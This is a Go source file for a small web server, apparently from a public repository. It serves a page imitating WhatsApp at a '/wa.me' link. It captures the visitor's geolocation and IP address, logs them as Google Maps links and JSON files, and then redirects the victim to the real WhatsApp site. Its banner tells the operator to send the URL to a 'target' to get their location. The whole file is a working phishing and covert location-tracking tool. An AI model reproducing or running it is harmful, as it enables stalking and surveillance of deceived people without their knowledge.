-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.go
131 lines (103 loc) · 3.17 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package main
import (
"encoding/json"
"fmt"
"html/template"
"log"
"net/http"
"os"
"strings"
"time"
)
const SERVER_PORT int32 = 8080
const TEMPLATE_NAME string = "whatsapp.html"
const FINAL_REDIRECTION string = "https://api.whatsapp.com/?lang=en"
const GMAPS_URL string = "https://google.com/maps/search/?api=1&query=<lat>,<lng>"
type GeoErrorCode int8
const (
SUCCESS GeoErrorCode = 0
PERMISSION_DENIED GeoErrorCode = 1
UNAVAILABLE GeoErrorCode = 2
TIMEOUT GeoErrorCode = 3
)
type Result struct {
status string
}
type GeoLocationInfo struct {
Status GeoErrorCode `json:"status"`
Longitude string `json:"longitude"`
Latitude string `json:"latitude"`
}
func (g *GeoLocationInfo) GenerateGMapsURL() string {
return strings.Replace(strings.Replace(GMAPS_URL, "<lat>", g.Latitude, 1), "<lng>", g.Longitude, 1)
}
type TargetUser struct {
GeoInfo GeoLocationInfo `json:"geo_info"`
IpAddress string `json:"ip_address"`
}
func (t *TargetUser) save() error {
now := time.Now()
filename := now.Format("2006-01-02 15:04:05") + ".json"
content, _ := json.MarshalIndent(t, "", " ")
return os.WriteFile("logs/"+filename, content, 0600)
}
func PageViewHandler(response http.ResponseWriter, request *http.Request) {
log.Println("["+request.RemoteAddr+"]", "Target is viewing the page")
thtml, _ := template.ParseFiles("templates/" + TEMPLATE_NAME)
thtml.Execute(response, nil)
}
func ResultHandler(response http.ResponseWriter, request *http.Request) {
log.Println("["+request.RemoteAddr+"]", "Incoming result")
var geoInfo GeoLocationInfo
err := json.NewDecoder(request.Body).Decode(&geoInfo)
if err != nil {
log.Println("["+request.RemoteAddr+"]", "Bad result")
http.Error(response, err.Error(), http.StatusBadRequest)
return
}
targetUser := TargetUser{
GeoInfo: geoInfo,
IpAddress: request.RemoteAddr,
}
err = targetUser.save()
if err != nil {
log.Println("Fail to write to a file")
http.Error(response, err.Error(), http.StatusBadRequest)
return
}
if geoInfo.Status != SUCCESS {
log.Println("["+request.RemoteAddr+"]", "Error Result:", geoInfo.Status)
return;
} else {
log.Println("["+request.RemoteAddr+"]", "Result:", geoInfo.GenerateGMapsURL())
}
response.WriteHeader(http.StatusOK)
fmt.Fprintf(response, "Ok")
}
func RedirectHandler(response http.ResponseWriter, request *http.Request) {
log.Println("["+request.RemoteAddr+"]", "Redirecting user to", FINAL_REDIRECTION)
http.Redirect(response, request, FINAL_REDIRECTION, http.StatusPermanentRedirect)
}
func PrintInto() {
fmt.Println("WHERE ARE YOU? :)")
fmt.Println("Local Server : http://localhost:8080")
fmt.Println("URL : http://localhost:8080/wa.me")
fmt.Println("Send the URL to target to get their location. Result will be logged as GMaps URL and log to JSON file")
fmt.Println()
}
func RunServer() {
mux := http.NewServeMux()
mux.HandleFunc("/wa.me", PageViewHandler)
mux.HandleFunc("/redirect", RedirectHandler)
mux.HandleFunc("/result", ResultHandler)
server := &http.Server{
Addr: ":8080",
Handler: mux,
}
log.Println("Start sniffing...")
log.Fatal(server.ListenAndServe())
}
func main() {
PrintInto()
RunServer()
}